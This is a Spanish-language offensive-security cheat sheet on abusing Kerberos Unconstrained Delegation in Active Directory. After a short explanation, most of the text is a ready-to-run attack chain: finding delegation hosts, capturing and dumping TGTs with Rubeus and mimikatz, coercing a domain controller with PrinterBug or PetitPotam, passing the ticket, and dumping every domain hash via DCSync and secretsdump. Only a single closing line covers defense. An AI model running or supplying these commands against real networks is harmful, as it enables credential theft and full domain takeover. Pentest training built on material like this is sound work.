Qué es
La Unconstrained Delegation deja que un servidor guarde el TGT de cualquier usuario que se autentica en él. Quien controla ese servidor roba esos TGT y suplanta a cada usuario. Si se autentica un Domain Admin o un controlador de dominio, el atacante se lleva su identidad.
Cómo funciona
El usuario se autentica por Kerberos a un servicio del host con delegación sin restricciones. El KDC mete una copia del TGT del usuario dentro del ticket de servicio. El host guarda ese TGT en memoria para actuar en nombre del usuario. No hay límite de alcance: ese TGT sirve para pedir tickets a cualquier servicio. Con acceso SYSTEM en el host, el atacante extrae todos los TGT cacheados. Si además fuerza a un Domain Controller a autenticarse (coerción), captura el TGT de la cuenta máquina del DC y llega a DCSync.
Comandos
Buscar sistemas con Unconstrained Delegation:
nxc ldap <IP> -u <USER> -p <PASSWORD> --trusted-for-delegationCon PowerView, desde una sesión ya autenticada:
Get-DomainComputer -Unconstrained | Select-Object dnshostnameCapturar los TGT entrantes en el host comprometido:
Rubeus.exe monitor /interval:5 /nowrapVolcar los tickets que ya están en memoria:
Rubeus.exe dump /nowrapCon mimikatz, exportar los tickets desde LSASS:
privilege::debug
sekurlsa::tickets /exportEl objetivo de la coerción es el DC (<DC>). El listener es el host con
delegación que controlas (<HOST>).
Forzar al DC a autenticarse con el bug de la impresora (MS-RPRN):
printerbug.py <DOMAIN>/<USER>:<PASSWORD>@<DC> <HOST>O con PetitPotam (MS-EFSRPC):
petitpotam.py -d <DOMAIN> -u <USER> -p <PASSWORD> <HOST> <DC>Cargar el TGT capturado en la sesión actual:
Rubeus.exe ptt /ticket:<FILE>Replicar los hashes del dominio con el TGT del DC (DCSync):
lsadump::dcsync /domain:<DOMAIN> /all /csvDesde Linux, con el ticket en formato ccache:
export KRB5CCNAME=<FILE>
secretsdump.py -k -no-pass -just-dc <DOMAIN>/'<DC>$'@<DC>Cómo defenderse
Quita el flag TrustedForDelegation de todo servidor que no tenga un requisito documentado y vigente.